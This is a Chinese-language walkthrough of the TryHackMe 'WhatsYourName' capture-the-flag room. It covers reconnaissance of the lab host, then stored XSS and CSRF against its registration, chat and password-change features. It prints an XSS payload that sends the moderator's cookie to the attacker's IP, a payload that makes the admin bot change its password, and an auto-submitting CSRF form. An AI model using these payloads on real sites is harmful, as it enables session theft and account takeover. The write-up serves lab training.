TryhackMe WhatsYourName:题解
文章目录

房间介绍
该挑战将测试客户端漏洞利用技能,从检查 Javascript 到作 cookie 再到发起 CSRF/XSS 攻击。要启动 VM,请单击任务右上角的 Start Machine 按钮。
您将在 AttackBox 上找到完成挑战所需的所有工具,例如 Nmap、PHP shell 等等。另外,请在文件中添加主机名。worldwap.thm``hosts
“切勿点击从未知来源收到的链接。您能否捕获标志并获得对 Web 应用程序的管理员访问权限?”
前期准备
将获得的IP放入hosts文件中
信息收集阶段
端口扫描
扫描到22端口,80端口,8081端口开放
子域名爆破
趁着子域名爆破的时间去查看一下那个页面更好作为我们渗透的起点
通过对子域名的爆破发现没有子域名,但是我们发现8081端口的网站是可以访问的但是是一片空白,这里小T想到的就是目录探测
worldwap.thm:8081目录探测
渗透开始
worldwap.thm注册页面XSS
由于小T注册完成去登录的时候给我弹窗用户未确认,然后小T再去注册的时候发现上面写了,您现在可以预先注册!网站版主将审核您的详细信息。我就知道要打xss,时间上是上面的房间介绍说了
<script>fetch('http://你的IP/?'+btoa(document.cookie));</script>
后台要监听端口看看是不是可以被执行,这边我就监听了自己的IP,应该是小T设置的原因,所有监听0.0.0.0监听不到,给小T差点气死,如果使用0.0.0.0监听不到可以尝试使用自己的vpn的ip
点击注册,等一下这边就会给你返回版主的cookie值,然后我们就换上版主的cookie进行登录,
这里要对拿到的东西进行base64反编译得到我们的PHPSESSID=ppob0qfvu0t5c32702ckdj424v
当然每个人是不同的
到这里小T才反应过来,8081端口对应就是子域名login.worldwap.thm,拿到的cookie可以在网站login.worldwap.thm上使用
这里点击go to chat,我们发现管理员机器人在线,这样的话我们能不能盗取admin bot的cookie呢,用了几个playload发现不行,因为小T xss不怎么好
这里还有一个修改密码,发现谁执行就可以修改谁的密码,抓包将分析发现是通过new_password来传输新密码,这里我们直接拟好playload发给admin Bot就可以执行代码将密码改成Tiamo124
<script>fetch('/change_password.php',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:"new_password=Tiamo124"});</script>
登录Admin用户
登录到admin用户就可以看到flag了,但是小T看来了一下https://jaxafed.github.io/博客的文章发现还可以有另一种csrf(客户端请求伪造方法)
CSRF(客户端请求伪造)获得Admin权限
客户端请求伪造
- 在CSRF攻击中,攻击者诱使用户的浏览器发起一个恶意请求,本质上是借助用户的凭证,以用户的身份去执行特定的操作。
- 在用户访问攻击者构造的恶意页面时,如果此时浏览器访问第三方站点带上了第三方的Cookie,那么第三方站点会认为这是一个已登录的用户的访问请求,浏览器就可顺利完成请求操作,因此该攻击方式叫做“跨站请求伪造”。
- 在整个攻击过程中,攻击者并没有拿到受害者的身份凭证,也拿不到操作后的返回结果(同源策略),攻击者只是诱使受害者发出了一个特定的请求。
因为对面的Adminbot会点击我们的链接,所以我们这边直接伪造一个页面让他访问更改他的密码,让我们登录
<!DOCTYPE html>
<html>
<head>
<title>CSRF</title>
</head>
<body>
<!-- 创建一个自动提交的表单 -->
<form id="autosubmit" action="http://login.worldwap.thm/change_password.php" enctype="application/x-www-form-urlencoded" method="POST">
<!-- 隐藏的输入字段,用于设置新密码 -->
<input name="new_password" type="hidden" value="Tiamo" />
</form>
<script>
// 页面加载完成后自动提交表单
document.getElementById("autosubmit").submit();
</script>
</body>
</html>
记得在本地开启http服务
这里发过去等几秒就可以去登录了账号admin :Tiamo